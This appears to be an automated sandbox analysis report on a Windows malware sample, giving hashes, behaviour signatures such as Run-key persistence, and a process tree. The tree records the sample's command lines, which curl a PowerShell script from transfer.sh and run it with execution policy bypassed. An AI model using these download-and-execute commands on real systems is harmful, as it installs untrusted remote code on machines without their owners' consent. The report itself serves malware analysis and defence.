Analysis

  • max time kernel
    50s
  • max time network
    47s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    17/01/2023, 12:09

General

  • Target

    3459ebc48502fb42337647d456681337d303e50a99ca536e010d7cf1ebf6f0f5.exe

  • Size

    547KB

  • MD5

    b0ab211e83a23d58e1322e4d2d6f0a96

  • SHA1

    d568fbcd41e30651cc80ba8a5e9eeab637a99f9e

  • SHA256

    3459ebc48502fb42337647d456681337d303e50a99ca536e010d7cf1ebf6f0f5

  • SHA512

    4a54251fbf23fe3d0e96fcf8d3363e917921644a178387b619367338faa1884134639dd696d55a5a9f06cf167f128d599cc57fb62dba603afc4ebb287d22204d

  • SSDEEP

    3072:SvGyYiSDnt1G5GWp1icKAArDZz4N9GhbkrNEk184:W4wp0yN90QEg

Score
6/10

Malware Config

Signatures

  • Adds Run key to start application 2 TTPs 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 21 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\3459ebc48502fb42337647d456681337d303e50a99ca536e010d7cf1ebf6f0f5.exe
    "C:\Users\Admin\AppData\Local\Temp\3459ebc48502fb42337647d456681337d303e50a99ca536e010d7cf1ebf6f0f5.exe"
    1⤵
    • Adds Run key to start application
    • Suspicious use of WriteProcessMemory
    PID:1664
    • C:\Windows\system32\cmd.exe
      cmd /c new.vbs
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1628
      • C:\Windows\System32\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\new.vbs"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1824
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c cmd.exe /c curl https://transfer.sh/get/MHXbtP/ss.ps1 --output C:\Users\Admin\AppData\Roaming\rr.ps1
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:932
          • C:\Windows\system32\cmd.exe
            cmd.exe /c curl https://transfer.sh/get/MHXbtP/ss.ps1 --output C:\Users\Admin\AppData\Roaming\rr.ps1
            5⤵
              PID:376
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /c cmd.exe /c powershell.exe -exec Bypass -C C:\Users\Admin\AppData\Roaming\rr.ps1
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:552
            • C:\Windows\system32\cmd.exe
              cmd.exe /c powershell.exe -exec Bypass -C C:\Users\Admin\AppData\Roaming\rr.ps1
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:548
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell.exe -exec Bypass -C C:\Users\Admin\AppData\Roaming\rr.ps1
                6⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:1480

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\new.vbs

      Filesize

      300.0MB

      MD5

      f7e7099eea0cc25fc49d04cd53c573a1

      SHA1

      3abac9f3f93b0f87ef432d70c40e8ab865157770

      SHA256

      b7f331e83a80b15cc4537324bde827ac9b2ecb990150db4d00d84ee2560cf5be

      SHA512

      c19ddc5e41ed6d485f5df47996f34ff326a782e909bffaa8aa31a3f72fddb33cc7e3709e0cc44b2078668dc83297b42bb3157d6d000a9323ffca6303cd43f074

    • memory/1480-95-0x000007FEF3B40000-0x000007FEF4563000-memory.dmp

      Filesize

      10.1MB

    • memory/1480-96-0x0000000002754000-0x0000000002757000-memory.dmp

      Filesize

      12KB

    • memory/1480-97-0x000007FEF2FE0000-0x000007FEF3B3D000-memory.dmp

      Filesize

      11.4MB

    • memory/1480-98-0x000000001B700000-0x000000001B9FF000-memory.dmp

      Filesize

      3.0MB

    • memory/1480-99-0x0000000002754000-0x0000000002757000-memory.dmp

      Filesize

      12KB

    • memory/1480-100-0x000000000275B000-0x000000000277A000-memory.dmp

      Filesize

      124KB

    • memory/1664-54-0x000007FEFB591000-0x000007FEFB593000-memory.dmp

      Filesize

      8KB